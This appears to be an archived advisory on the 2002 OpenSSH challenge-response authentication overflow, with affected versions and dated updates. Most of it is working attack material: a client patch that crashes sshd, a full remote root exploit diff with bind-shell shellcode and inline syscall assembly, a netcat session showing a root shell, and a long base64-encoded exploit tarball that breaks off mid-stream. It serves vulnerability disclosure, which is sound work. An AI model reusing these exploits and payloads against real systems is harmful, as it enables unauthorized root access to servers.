|
COMMAND OpenSSH remote buffer overflow SYSTEMS AFFECTED All versions prior to (and including) 0penSSH 3.3 OpenSSH before v3.0 are not vulnerable if SKEY and BSD_AUTH options are NOT enabled OpenSSH afther (including) v3.0 has BSD_AUTH enabled by default and are therefore vulnerable Update (06 January 2003) ====== All existing PAM enabled versions of OpenSSH (3.5p1, 3.4p1 and below) ?? PROBLEM Theo de Raadt [deraadt@cvs.openbsd.org] initialy posted a warning about a vulnerability in openSSH. ISS [http://www.iss.net] is now posting details thanks to Mark Dowd findings : http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=20584 A buffer overflow can be triggered while the user responds to the challenge during SKEY/BSD_AUTH style authentification. Update (27 June 2002) ====== To be more specific, Markus Friedl of OpenBSD adds : OpenSSH's sshd contain an input validation error that can result in an integer overflow and privilege escalation. All versions between 2.3.1 and 3.3 contain a bug in the PAMAuthenticationViaKbdInt code. All versions between 2.9.9 and 3.3 contain a bug in the ChallengeResponseAuthentication code. OpenSSH 3.4 and later are not affected. -- See the diff in solutions for details -- Update (28 June 2002) ====== Joe Testa of Rapid7 security [http://www.rapid7.com] gives the following DoS code to sshd : The following are instructions on how to reproduce a segmentation violation in sshd (v3.2.3p1): 0.) Compile with PAM and S/KEY support. 1.) Apply the following patch to the ssh client: - --- sshconnect2.c.bak Thu Jun 27 11:54:54 2002 +++ sshconnect2.c Thu Jun 27 11:56:27 2002 @@ -866,6 +866,7 @@ xfree(lang); num_prompts = packet_get_int(); + num_prompts = 2; /* * Begin to build info response packet based on prompts requested. * We commit to providing the correct number of responses, so if @@ -877,15 +878,16 @@ debug2("input_userauth_info_req: num_prompts %d", num_prompts); for (i = 0; i < num_prompts; i++) { + if ( i == 0 ) { prompt = packet_get_string(NULL); echo = packet_get_char(); response = read_passphrase(prompt, echo ? RP_ECHO : 0); - - + } packet_put_cstring(response); - - memset(response, 0, strlen(response)); + /*memset(response, 0, strlen(response)); xfree(response); - - xfree(prompt); + xfree(prompt);*/ } packet_check_eom(); /* done with parsing incoming message. */ 2.) Add "PAMAuthenticationViaKbdInt yes" to 'sshd_config'. 3.) Connect to sshd using the modified client. Note: valid credentials are not required. On the server side, you'll see: [root@wonderland hi_chad]# gdb /usr/sbin/sshd GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT) Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (no debugging symbols found)... (gdb) run -d Starting program: /usr/sbin/sshd -d debug1: sshd version OpenSSH_3.2.3p1 debug1: private host key: #0 type 0 RSA1 debug1: read PEM private key done: type RSA debug1: private host key: #1 type 1 RSA debug1: read PEM private key done: type DSA debug1: private host key: #2 type 2 DSA socket: Address family not supported by protocol debug1: Bind to port 22 on 0.0.0.0. Server listening on 0.0.0.0 port 22. Generating 768 bit RSA key. RSA key generation complete. debug1: Server will not fork when running in debugging mode. Connection from 127.0.0.1 port 33208 debug1: Client protocol version 2.0; client software version OpenSSH_3.2.3p1 debug1: match: OpenSSH_3.2.3p1 pat OpenSSH* Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-1.99-OpenSSH_3.2.3p1 debug1: list_hostkey_types: ssh-rsa,ssh-dss debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: client->server aes128-cbc hmac-md5 none debug1: kex: server->client aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent debug1: dh_gen_key: priv key bits set: 124/256 debug1: bits set: 1626/3191 debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT debug1: bits set: 1597/3191 debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent debug1: kex_derive_keys debug1: newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: waiting for SSH2_MSG_NEWKEYS debug1: newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: KEX done debug1: userauth-request for user jdog service ssh-connection method none debug1: attempt 0 failures 0 debug1: Starting up PAM with username "jdog" debug1: PAM setting rhost to "localhost.localdomain" Failed none for jdog from 127.0.0.1 port 33208 ssh2 debug1: userauth-request for user jdog service ssh-connection method keyboard-interactive debug1: attempt 1 failures 1 debug1: keyboard-interactive devs debug1: auth2_challenge: user=jdog devs= debug1: kbdint_alloc: devices 'skey' debug1: auth2_challenge_start: trying authentication method 'skey' debug1: got 2 responses (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x08053822 in strcpy () (gdb) Update (01 July 2002) ====== Christophe Devine kindly sent us a remote exploit for OpenBSD & OpenSSH 3.2 : 1. Download openssh-3.2.2p1.tar.gz and untar it ~ $ tar -xvzf openssh-3.2.2p1.tar.gz 2. Apply the patch provided below by running: ~/openssh-3.2.2p1 $ patch < path_to_diff_file 3. Compile the patched client ~/openssh-3.2.2p1 $ ./configure && make ssh 4. Run the evil ssh: ~/openssh-3.2.2p1 $ ./ssh root:skey@localhost 5. If the sploit worked, you can connect to port 128 in another terminal: ~ $ nc localhost 128 uname -a OpenBSD nice 3.1 GENERIC#59 i386 id uid=0(root) gid=0(wheel) groups=0(wheel) --- sshconnect2.c Sun Mar 31 20:49:39 2002 +++ evil-sshconnect2.c Fri Jun 28 19:22:12 2002 @@ -839,6 +839,56 @@ /* * parse INFO_REQUEST, prompt user and send INFO_RESPONSE */ + +int do_syscall( int nb_args, int syscall_num, ... ); + +void shellcode( void ) +{ + int server_sock, client_sock, len; + struct sockaddr_in server_addr; + char rootshell[12], *argv[2], *envp[1]; + + server_sock = do_syscall( 3, 97, AF_INET, SOCK_STREAM, 0 ); + server_addr.sin_addr.s_addr = 0; + server_addr.sin_port = 32768; + server_addr.sin_family = AF_INET; + do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr, 16 ); + do_syscall( 2, 106, server_sock, 1 ); + client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *) + &server_addr, &len ); + do_syscall( 2, 90, client_sock, 0 ); + do_syscall( 2, 90, client_sock, 1 ); + do_syscall( 2, 90, client_sock, 2 ); + * (int *) ( rootshell + 0 ) = 0x6E69622F; + * (int *) ( rootshell + 4 ) = 0x0068732f; + * (int *) ( rootshell + 8 ) = 0; + argv[0] = rootshell; + argv[1] = 0; + envp[0] = 0; + do_syscall( 3, 59, rootshell, argv, envp ); +} + +int do_syscall( int nb_args, int syscall_num, ... ) +{ + int ret; + asm( + "mov 8(%ebp), %eax; " + "add $3,%eax; " + "shl $2,%eax; " + "add %ebp,%eax; " + "mov 8(%ebp), %ecx; " + "push_args: " + "push (%eax); " + "sub $4, %eax; " + "loop push_args; " + "mov 12(%ebp), %eax; " + "push $0; " + "int $0x80; " + "mov %eax,-4(%ebp)" + ); + return( ret ); +} + void input_userauth_info_req(int type, u_int32_t seq, void *ctxt) { @@ -865,7 +915,7 @@ xfree(inst); xfree(lang); - num_prompts = packet_get_int(); + num_prompts = 1073741824 + 1024; /* * Begin to build info response packet based on prompts requested. * We commit to providing the correct number of responses, so if @@ -874,6 +924,13 @@ */ packet_start(SSH2_MSG_USERAUTH_INFO_RESPONSE); packet_put_int(num_prompts); + + for( i = 0; i < 1045; i++ ) + packet_put_cstring( "xxxxxxxxxx" ); + + packet_put_string( shellcode, 2047 ); + packet_send(); + return; debug2("input_userauth_info_req: num_prompts %d", num_prompts); for (i = 0; i < num_prompts; i++) { Update (02 July 2002) ====== GOBBLES [http://www.immunitysec.com/GOBBLES/] provides a remote OpenSSH exploit for 2.9.9-3.3. Content-type: application/x-gzip; name="sshutup-theo.tar.gz" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="sshutup-theo.tar.gz" H4sIAASEID0AA+w7a3fbNrL9Kv0KVDmJJVtSROply5umduIk3hPbqaW0u7fp4VIkKCGmSJUPP9KT +9vvzAAgKZmSk7bb/XBXiSwSBAbzwrwAxvE8TdJlMufh02/+TR/W6wz7ffYNY8Zw0JW//Q7+6k+H sWHf6MC/odmFx2bP7H3D+v8uhIqfNE7siLFvbF84wt7cL0mjK373V2D0l37igvzhuu0Kz/uz5zA6 nUGvt0n+3a5hmFL+ncHQ7KP8e2bH+IZ1/mxEyj7/z+WP8matlE1t5ypdfnoaLnkAetDqtntLgzTC YSVt1VartW1MZWwn7O9pwMwDkObI6Iy6fWZ2OmZ1b2+vDGBlknIY4DNmsg70NkadoRzw/fesZfQG TaPH9vC3Z7Dvv6+yp7vsEQs9FvGlL3gMvw4X19xlXhixmR9ObR/afk15nMRs92mVgZwT4TARJMyB EUFiyV6W6mUJlz1jncMqq+5hpwTaRDCTbdTizNPgyorFJ15oTJzQ5QBjWWiL19qcOajYbpzc+Tiy FoMi1aD5jCfz0GUL+fOMHUMb/EPS3kUAJ2Y2m3N/CT3i2J5xloQMFipLYx61GZvMRcy8NHASEQYs 4Nc8AopBT4O4TRRnNF+Hwq3CMIBRx+tGlf1WbVW8Jc7i1ePE5VHUZLX32GPEHsfs53CJUONf2DyM E/azEy4WduD+8iGoNZllLaNwFtgL3gCM74N5fXF8/PZkzMYnL95fnk7+yVrspzenk5M3R5Mxe3cx npyev2aTC3b8/vXk8ugH9urikr06OjsB4OUAL0BfxuM3zGwftA8AWrfdBUoXYcJBJrbv82DGWxGP l4AxZ/x26Yci2QjtkcGiFCQByvOvfwHvhQOqMgddBmnv7IyYG4VL5nLb/RBshLGJU/f5w8rIoRGj jdB38cMuT45essmbE/bm4ifg1qvTtyfs9JxaJkeXx0dv3zLqKMGUzMNYyydlITv7NpyB8sM9KnWC ukOPEM32RkwAxJItwyghEC/CIOBOIvUQAOADUMQxj1D3FmBK2RT4GpCWxgBY9tgG/UyrP4LxCTiM dfm1cDir40phsJ6nsWunybyxBVLx43LPTv1kpMdtQ2DM5LqEz6mnuKOGNVmco0S9vnZ+xH/b5C6a LzlmAuaGxbDcfTQe2M7tzTq8YT5woZ0Oq9+IZM5anxrskKm7ME2wgeBVKpUN6HxkZNxI1Gjr6PZr ceh1DgasbrAlrJBtAmtFOfFKsVroUf4wEwZAcxAmqN4u06yQlG/A5FMO5SSwp6AN2vgvAI1tNFzn I3/k0TSM+SFzRbz07Tt2LRsAsWk6mxE0acfjbSui+DkDesQS0IF5ROBE3I7B00m4IrnTYB4Jj3U2 GIAgh3bJXRGhOotgCergReECuljvjiZvrJcnP56/B4NSa2+zJq+YEwaemEmJ4YUnALt6xvr/ffo4 biCIJkCgSSV4MN7W+/HJpfXi4vwVGjKYgvz60GgaQ/DrB/tNo0t+/REPICbZgECSUzNJ7g4Z2P7Q scEN2CxJ7hi4wIABM5S3YmCiZhATBFuJmuQwX4YMFWcVqhpc4i7/qPxLQX69/MvJ+rFAVo5QTKFC upiCvQ4DfzuId0XOBDsrjIHu1yD7GSyxgo0vh/NrDueHVPAEWETgNKPs4I7d2FFQwqJygF4O8FUY XWFMF1I0OovCFORuewnQhyYcwjxw7+hutwKkOEK6yTFPGI8deynbbAdAHUKgEIQB39mBKA2wJhNR 0PqGFugG8A5zxHJOflg5OQ7SvKMwAJg6CyOwUottCC7YwnZiieCSO8K7Y2dHL/KxMYW9EHYkoRP6 maTNrcr7Z3n2cpTfMl/ECQ9a2HOEwdFITQcyA3G7DJXJlzjAvCqgs10XIrl4G+TLByErWBq0nOhh yMXPZM5h7To2eBEM8xAKTUqMdiS7MIpDptg0UxMU2b0fAJKdOxg2B2zPNDvNIVm5UrpCtiODyR2I /0MHcCV2h0pPYjRtIoGlgtmO7UoLbiubnEak5mSRt8olzmk8Da7DK56Zyzr+tZMwumvgbGC0TRan 0/gO6F5shTkl5hLMt8Tr03ea3ZmT0nad34qkbiCoz5CiIHfMYbe5D9wBJpn7xJ4qs2e2CEbQ/WZO LqYOXIDFN+MJXNRtB5h93QS9xilrhtkb2NORM+IjbyZGV/5oMQrC0XL0a5xc3x69eDl6NTodvR2d v7scTX78R63RYN8+A6k0IA3aWwPhKiAfi2CiEQL6lEM6I1jje9BYpRJDyOHMGSIs4VccMNtsZwyp Bd5VdB4IHexodkhtUxDo1WHe+WxnRO3Cq38bJ5GzWNZl96ZKH2HSLG8cSxjch5FlA1Q4uzLmuDDm nkRbZyOMntgOTrWDAfiOgrGjI5f7KLsK5WJCDMokFB4bRn1Uo1Zy64eHRWpY/FWTfdIoZqm9sdKR 6Y7GDqpepaJyu3ZmWJ/hqrDeXV5MLiyDBuixqMj9/T4u84F50DQ6cp1XIJm/xMUqV9GNcHnJglUe C3kuH8oEvlKR6Tqudks+sLB7XUZVbyCVpojq9LWFQVWTUtAme6LQpuX6GWsKBUK4BzLmrrXqHWOs S4CwpyGYzxZoA0fPB7ET1imy0aBYwkksnMWCzpYz55Q1qzLHdnaZWFlhyI9XwvfXmKB8qSpcVIBI 31JtloJaL5D1cNVqXlJkmj9QtZp/bdVqvla1MvujXievWpmkDfBXGrVHGMP5KSjA30AZnsrcsj3/ Lo95q3vJ3ZID3RAfpAv227jJjj8zWSY6VJWhFzKSoOQGXZGOJEAKqyIlxVIMfQQwRcBJGkfvJ29Q W6wXp+/enFxWsE1eWt2XJ2PA4kHuKvdXVhrMHm3nddbtK1mej9vKechBkfX4Y8hyYQWc3NJOLPBv tgf5ZXgT12WUYKlgiVbLQsQLG823rgSSBdY9F/ZH4PizZ4w0+sXFW+vs6O8Xl5bBnjxhuo8I1vuc nmOfRgNNjTK1tZ93f9FRClXY4nSJMUTMgEhTG1m0ziuDblcHuSGkA5ixqNHFwUCM9kRF7KWTIitn kI2DmKK+jvrBARAkGdk3IGLZ6/UHOnCJA4XNNPWaVCAIPUbXNdCk1mO3/dhtPW4bnU5cyAMl980O e77OO5ON7rFz6yjiJo4idA0dBKAa/3hyOT69OCfekVdXlUgZuCCl4CMWwhFh/QbCZt4sBHJWmILp lEQlkc8DJFC69uI9sswDHfLrNQIxYpLWGg0D0xpGdfgbhA2aU1WalYpZaEDJXN7ClZsuCeYXmDOF prllxZlfuOTM37vmzIcWHagKrDn4e6AL9GJBWokWiN+CSwlkmrVbypXDtU4x5R73Ou2tdsJYKm8s 1O2bhXJ9M6/SN/PifD5spRCf46HqtCoAj8l/Pd2Vph0ieQrou2pd4Ko6AvvrJLcJGWK8IK1DlMCq o05KnJfSEaI6aoeZVbEtXcVe88+kd7r31dS1Ci56rauMagjJgURy0Gsafbl6NWZtEXgh7nxYMeeB snZyhegeOlR8xrAyVFR80AkLa8fY1RwxQiWAoJ+0fwQ5U0A2CZwa090Yps96P0YaN2lb81mOVbRM BhfjuQWVG+pq9WV4Kb1AyA22pxcnKQLemw1paDWyCkqDeTb4Q1dFr7EyYqAPtcfx6DGu37IZmrLu KweVdQA8UZEwzEKKiua90At3CigzLKUiC4xEIBJh+znXFMNkUKRbLeRl/YkGpVLMbpdSzG4/SzEz ddzVXQFZrZZSFfEBprVMClnr69KOEA+kq7BrxlHO2jGuKkuZllCVMdMTC9mfRmAvg3A9UAEDk8CS q2lKen1JyYGuCVYUQshsMG88sSAPtJCEOllZ1UjhqMXDBbUq301Y7+3lygUKA//rmvTmhrhXaVFR oGX9dEZlXwN9WBfKEiTtvFe89zYQVHpcB/OZPDnyWvMAHFKH+OyHs3rtKGelrnbrjnHqYA2hLb0f VSHrtfWwP5mDL4AVS0IQQUqbWkpRkT1KJvvGEFOavf3uftPsZBavoB12AukN5egycNJFael16Rk4 l++eaWvallVIK/SspR3HN2HkYtUEusVEndzJpLwiKx3AEtHVNwALioQlCuts/JqKyxjYWqfnry6s y5Mf3p+MJ2xux2yK9o2MHCyiVhEd9h2jwO1brcWt71asolSZNfy/ZIgKvJRtU20y5hrLBHRFJ2iT q1T4KymsBHBcAkDl5qz+OG7cA7RiwYrwPiOXSSu69Vq2TMG3AOCR5jMt1xUSpTZVsHaLgTK0JfXt YmhK03C4KlXSqq7ZNHugVYMuLPW+Xuu0mNF4ONLp13Nuo9kUDi+u+vKOkvet77Jd2JLeNbkZRjm6 b0NcBhqS6W1J/03+V+5Wxuy5Clsf6jditWJJDPPzMo0pKkwZ9rIOVFrpOFalprJhWTVobSR5sIxu 9N515Zm+StZP1uy+Vh4SghK/oYp/wGyVEdd0YN6e15AhIAVMg8+O/gHXaZBfZyzTKS00120I3Bus Xq/bDVih9SmE7c8Z3ozoBruDiBchDBVc102B0DlvBWHMP4ZTCKxR+HRQYk8dICjKrk7HOkLnCoCR VYBb0WTBoboObwLu6jIINug4LtaNnovsY54bS7capVhuFwt+DaY6uca9SR0hQlLg/Wx0zN4vedDo LNxPWKNJUaFZyz4UWGqmAyMVD3KOw0OlNcl1O7mGqRyMA/vQQRd71ZNUPurIoZVXL63/Obm8qD8B xKRGQMv4ZFIfT16enlNZ6fwCpLr+GHmRN+s5tIul0kYdRbMKhjgIQZohh0rLoP9KHj6nO5Dck+Qa pdkhulZK87oyCqicjteQud87H4Jj6hjsYj1NDUJeF9NYTPn+VjZp+aeylClfjUA2akVmbB2nl13Z M1yKXwJEElYyHugM0NXKAvcGYKq6TFzfQq7kXIWUTJDiMAEcCuAHoqqtiCqWkzqLXzBG3Hm9s31I cWi2hPb2tnO1UtHR1lcCVutgc29NPFCRDwLGmg/pBw7SNsF4QCew73pdQipn7QLct/GATm0ejjYj q2bgTWMLKATzuVxZ8AmjnYLfpNHAD82Ey/vi/SRb33I1BTrYKFVkBCY/qw+xHaw0ok62+N4qL7FI X7pM1XT3bMAqyD9oC1Y+v9MuFD+F0O/rLMJmjViVj+R3AgEfMVw3yB1qLYLcRqyFC9gXC9DY8bMs TlcZ28X0AzRlNSiQgb08cIY7jVQbUF3G7y7Oxyc4FJJceVJxQwhR17WUJkvROXdNC8sMvzZpGPhI zIar5AbJaWIlyMpOE/0MFgiZU/tw2zU+3DqdD7d9+A7sD7dGb+1a3eN3Cl+nC1/3w+1+pyYB8OmH W48r90tzrU6DrNkYZCCAwf6H295w9bt/AIC7q9gVv87gw20HMDN7Cgu86XfzDjjQNRUAADY1EGW4 hl8OXwMmdfHaxj4KiKNo3O9rGj/cDgFIB78AxIHOngcY0sxyUurjrGFiYiMA4Qc5CUhScSCSULw3 qY8CMtAP9tcGOqv3xhpglFgGpK8bEch07f5AdsZ7jSGS3nfXxKsZiMwyHTlgCIw2h5ulgzxakQ7O nDd+2XXf0EqngBhuLpX+/v1vF7DrAYAh8mmat/eMAjneQS4dh0vtnQLQg84aOUauRxlvbK0nCosV Xdgv6oK873SVGnhF4BrIIKcV0cXBXX1vqGUBitdDsgCIacs2/O0NFRCkFzvp9YJooqYSCfreWF3B pHz3RKxNAMwwAL6YnhQz3e/Le/wOYLLBQT5hRg7ORo1GgYHdfNbuNOeb49T0tsQ22729btdS2QAm AU22KwKsX+1i7go/0sjChQ5V8uyhrD/YqHzI0+IoViHziufEdEmmyQTOTmVAZx7qpIZqloUmdexc lhXMezVAbciphiArAEMqURsdw8y2zG+9iPM6IqnyzwIeqxVAmLve0Ea4cH6gcPO8eCMPpyLiqyA7 t72O/EBuUuj/lPXkThq6tgr4tmM+A2eJh81S4btUGMkyPYUYm9q4NRsGTMNXRVzutiWQn+SJG0FH k6DTtXDlkWxsj+iEpj6h5+V5JLpwBqmv5NqB5JrZb3Z7K2UTfJtlS5Iune16QQT5WOCIqp5mhEHa +bqmSvZracAas1ROUFp40OCUwCCuUDs1OnEtHOXIr58XrtX5ZlnAX3vFohChfhmo+2DiQs+40HMg 4VeyXLtAfwaxlHRF+Woc0pQHV2SUufqItWS0f3+e+EvmKZ+iDPqa7M3+EPQSKw76eaHqnYt4xB67 OcV0l/PpMR19owrUA/tuFH0WZ8BD1tkOiT6b85zV1GUNC2aqJkNVa7m/nVXqHjA2o6IdAzRhjjVd R2azleQ2fy75LU92qSh2xQQp1qsKJy3OA7N5gItzMGgapjoFJG2aBKCO5ZRuW6BVdnGrTFfy6X0E EYDBKJyObctKpT41kkGyXddawh/EaNArrnJdzstET2mBdWMLaUErZTWv4l5Lvk8ugnpDn94rvFRV /U+/yfbfz+/5FN//7HStk8mb0xfjP3mO7e9/sp45VO//dnr9Qc+Ax91hd/Df9z//is8ZHu3GAnsE fMBXJsCmQECS2n5LBjLJXAR4xq/dbtPeEh6xX95/VvXFFacOc/uaDqMxx46a7C5M2QzCHN926P1F ukBYaHBsCKagQ7QCiA6bxxx6g8mU59oxNPIwNIoTNRRRBYvo4i1OAf2b+t2NAg1VwEEeoxYxxGwJ vrawsLEHehYItMA/+sJDhNpMUiDmwhfxAu5xDmq7mdtJFV++gKBO0JnsSJKA7w7GeKXeHmQuxyPU EPKJWQh8itWpT5wm61yd2oB7CBZWvpcAw4FB9o19By4yEsvkSoAF57F8MJ36wAR6C1Q+Zfj4DuFs 4qA8rs+DGb4yCs/taJYueEDh5p3gvivZAYxJ/UQxsEoMzF54AN6DZ0BiF2HEWS1KIYpwa/JuwSE2 h4gfFgyN5okECP9vojCYVaccdQCxQuHl0shwi+8CYCJFjTgwZxK4GTd1Ei2N6jvfTsJA2EDEjFiO oQIe/sGXT8SnjIGKu0Aqxy12pFSJBBmVhAmsbljmCCj0cIArnARPuuO1Rp7UZ4pvysWhI0I/nNGb oUvc/Y2CKp0LLHIYmBXoM/qAJ3J4Gd7IsB3btH6C5vhiFkg23wX2Ej1m4Q0C7IPv4uCggPbiCaKY zUk/l2mEJ2dI+zw/vEGK0gAwAU5wd1UPtb5E3JfvCqEAPNwxQmWe+WF0V+wGRNvVmzlEAngKgFY2 PsaY5ppWazhNUMPm4YKHYB9iQbPAA+wCK4NylnkYQb7jVf3wWs4zTxcgneTeVMRbvVRypImZHud0 JjgGVXWr0zt832WO+3vYX5KJ6xdlhNPja0MikTapyY5T1wUhLiB4hFEsjeX7JPESOFxFiwBsWMSF xQ5KObd9ZYf0FXE9DWYxnpz15dL/mM5wXPUG5EvKEs3vkvlCaj6dW1ksUfb0CMgO1LUDypOoa9IF btPrTTcAGaR3zQUYoSTmvlfKpJw5XupcZc+TOb5PBtEuLM9fq//X3pV2t21k2c+uX4GoZ0akG6JI anOc6fhIluyo460tO0v7eHRAAhRhgQAHiyimp//7vHtfFQBKcif2eJIvRHIsiSzU+urVfWthXWXb XgrrvlEJXkJrCWJ75au58LSsyObTJSTPSHWTQJgxdk/PXEVKF7NqPOV2WkLeXKLFvIosXxUGVbhl ED6XjXNCP+yVqBTeFSzpTGIYhCc0UYBqkzhCTD7JOEnQJ+HIjumAa+PXYI4YtwkXCj0D49fTxgij nsdC/y+iRalbHet9/ub125NzT79UHyIZNRcMYcMIlJtBAh9hT84i2f1GZE++L9SN3/QrIbNSdorM VYShBCOQrWW9wj+rZCJ9l0IN78aILmx7ZHZkVSB8uyokLqVT8uVJHkPXLduQf0ZpNCPz5ob/+eVb oXP0umZ55EasxDYAUoZzDwK9hB3JW2GULuti+Gmm0nPyCplQzPEkCYopCQBMxM2aOx7p8nMhIxWS JrlcZAk3GDw/DbgWD+qsKOL2hKAKvmq7Nc0qcKi5RipFzVYeRTwnjPDNChYwDCArZM940WhUl+KB ZUeQXpJRue3QfOJYkuEBGF1lyRXParOWNr7Qs4L/++ePX58cn775wgLAr+B/efYs/hfgP1D8vzdc 4//f4zmuBGb90Z1YP3/Ys7L/B+fHJ28OT5/9rvt/sLu/c+DyP/X3Bnv4qL9/sN7/v8fzRsDpXPDS qkd2HWSUUIIUIgk3i7ty7VCvTDFiGgVOLSBwKIekYkVMIhJawxmgEV1ARLJF5CS/W22r9Xe6FGAR Z7DF1nvjh8YM9x7UJ0eKondahYZ7X9el4MSrJa1D2XC/f8v41rJ3XNuoAX3nvvUJ6UA+vg/l53B/ cOv1W0pkvGvV9cP94Udtfq5Zukh9XLU8lJ3jnn8ag3W7gkQLZ+hNtrWJhUAkWBIrbGWsfjG16a4o mkG6FHwW5AIYc3k9WZokyKFRfpl61w/2/XZdgbcr1QgdVGkhAmwU1stH7XQg2PU6nlUz6UhSRabz 9vTFm/Pnhz91AUX71xP79LzDpMiAx9kAewXRXwohcJ4aZzSnjRU9hN6bttLiuo7hcGQj2Biycruv pQeRt2y1C4uUL8jbNOY91t3kzGoq5mhlRsIYX4jUv8hFKoG3imaUcAUNJhFCnCftjyNZc5mIESQd DatFd4OiLq7t2bQZaJED10Uw8vJY3pBexxT+cwBqb5RdiPzKGaXEascoG+XkOhBhM5INcG/FYDkw 9+61bJgDr/X9QIh3134/sK/s4vv6Dww9G0FdU6AXWeaRIDCQCVRAyG6wM9yCgMFOwQ5p7olcmNa8 Iqzg1az2zP61q7jnnaaqWxHJ0XerSxWNyyMSSkV22KCKZjns7PeUzmEL64qUlc0R4bxAojNfF4Fq QqRIyEUqw7Kxi61pEzqJx1M345BvdXhQmFlFS2NrtR10nQNftPPCdcyjevukpuZx8p7r9iZCyGbQ saDfjVKJ+iCEWYhYVrRfsPxyBCXDgg1E19G44rRO4w+qKTFoVDmpslHoNCdVIrWksUjVugqtWr0g FCEuFvZhw2tgjyt6RoeA+S8XmY3NC1II82UQJ9SZjKIACjuqroTOBsIWRCY8Ojsm83gicjl+R5g6 s3Qt0wBinQ66TeaypsL2I4iwEDNl0pZG+NarrEq2votSqkK+F2qWiRr2vM0WC9x0ifwKxxoKm9TO OW5n0L96EIXZ5Xqr6fiEViLlMVghNI+27HaSmdykfArNTZ7JYRbCNw3mLorWPaQAk3cN/OTA5jBh LulJGcCDboGXqyQUQpxHqme8QpnIaf1cr41rH9lyiuCK3FPdvjFDthi6Ktu98QLIJpMiKreg3ZOZ F1EfmmfN24TXOhOnSXB6tMs0W8g4ZMeCmHxQxRL1XeTBTHfbVZWkcrjKQWGouZMXLeE55hvkebBs MVcORYhXGgiFh/2I0WO7ce9OpAuhbN1bPR0LYIgw+9AQLSKdGbQoRCX7Ts7OMFKVcJEh0IFOD1kz T1QFNczZdU74wDSY16onKOOViKl7DKTZ4pF0cTNJDNJaCTcNI91vMgsy6BmbTIk1zBESjGFFZdEv qUj4A45y8xRJqbSPjk8VU1IVmEtzktVMvDPoH+wc7A4eDPe6cqRBrxTnUKIExaWJdevCMdOD8tCt Hhgmp1p45jf6EegQef8Uio1BWcAPwUwOObxoEB6PyUmLCXJMnpabOB0YrBhqh4EFGViF8KvTp29f P5W/0jAht5ZlyMmvx3oURnJkQYl7eyoI7JTzgNEMdgbWiRO/D+94QV2S7gN/Ckqcl3nXcM6373vv /vP9u2/fv/uv9++u3r8rs/n7d6OsLLPZ+3cgzuv376A9eg+budS9I+hPfuy2Fo0xKbrl2y3+hzO7 n2tvfK/V+DeoZA9IzAz7O67vQzlPb1d0pNzkvn5jnVf/r0MZ9veAY/v79UC0WqlVwGL/oPWx+oCR B+KrBjxLg08jTW+onelpzQ1wThgc3BoSwLX+CUw6aFA0IDZKf+sN9/adN4mUuGN3aXzorXl66MEy ZkPktT/qriG/s7Fm40nHD10usmIO06IzE+rrPc87DEOyZQJYfBvISS88orZx6VgHDapW7NCAf4zm z3SZGQ522027OXNtsZ69ukQzsI5bcYuc3ED2VwYyB/u03Wub4DLVDVsFK20mwtzqjh+sdvydVP5e naGGg5Ul1jB2qo4trTcL7k6tlaGsyk1tMh0Ob4tNLTqW5pX8hs2q2yYd9Q2H2DOHTHej3MH5vq0o nH3ASUF3M2tuBRuCxhwreqVCD0wqtM3I8SLfkNsht9RD9Lo1wglNnivjBO9hk+qxVzCjGpIIB0aJ 4EKYaelAIuj5Mk4yhYedBRPwevCZaj5VIbnJlCBcOjBjatszS/AUMmZBGPU0cy+SdwCOFBQwALwv siz0rWK95x1V2MzCgI2aSYwRvkj/eOFhWiXsZaXNhDCZlb6U+hxWIszwH2anIeCr4JxB4QKUi2/M zn77C/UvxDe+J00KOe80hBhm5whKPvv57NnLp+fPTn44eXb+5PDN4TOW9Vkh3njQrhGeSe6LhvI4 wPOxnIRpNYc4v9sH4dgWMJeYOyIE9RLrec8zOh5kaT3nzfucv8HBEBPzBF959iueCgc7nvyz69mo vJV3cVwcNHNzZ5H7aQTv3MFBa6pwIHTgYDvueh09HnBoHBysFrlvg9/x1QPvn/jxtXTmQd+5Vt3d 4MqfRR2+b97JQN8bshiSCtjE6lTY/M+fTCRgKv9YYQ5392xc+Tof5+PqmxWG0U7ADUWSjZcEsyBf aDMdLQCG0/Bn9zCB3HBvD6x02DDmus4BPm9WDDmTsBFdDx3A1NRIw2GzZoR940qqWJ3ebzwZiscv 7MCoQhoeeDcf+zVckKutb5UqhsMHt8rZYHz0izZR27X+9b8n1x3+293w5c2vb72JR7BQksFvFo2A wvzVjyxJYX52bvPrzn33WhejXS3e8O1/yl/NmrTnXNgPYM8zAe4QmQ5vQfaed1JzdsJFYXGCCMEk J1VO8U2RH7m8CGVGYC9D9IkwmdUKdvybKyYMxNtcWZpNS4RwkYgLYwVSHnWNGG8FOCgooeaKkBjh jsqNc8dMMigefeqEaPWWM+wCuR/hbrGqQFp9hTZbmMDl6MeRgOSKbD4BBsZaBCOZNMDqO/iXoGda VyOhIkXPYUblTC1HlitNO8WZju7GvJhmXlT1QO8pEU5CCgur/ZZBsTFV1rj2RQyuBfNNC2pUR9Ca W8hicvTC68VpATTto9OvBJqH2Th85qa97p89DeEkL1IuVX7yJ3sGfVSsU6E+FGjACOUyZZ6TtxUe qdR5YQUrOcEjyLwJdE+YIlUDzaeXVl9gRHrPZQSFSvRwMCrgemIt3JAm62XII5z3IpnChbdR8qhe BXNn7Nz5balXpgluFZqNY1wlckarbwekNyf1EW3Iyr9NoUms4D2SLP3WaD03Wuh6ocGQ1RD5FtI8 HAGAHO2ZxxGaO/OL2GzqmvE99La2vBt51ZWqZat2Bl2Pof6mqEYzqG44A0fq2wCdcpCq/gXDWurU 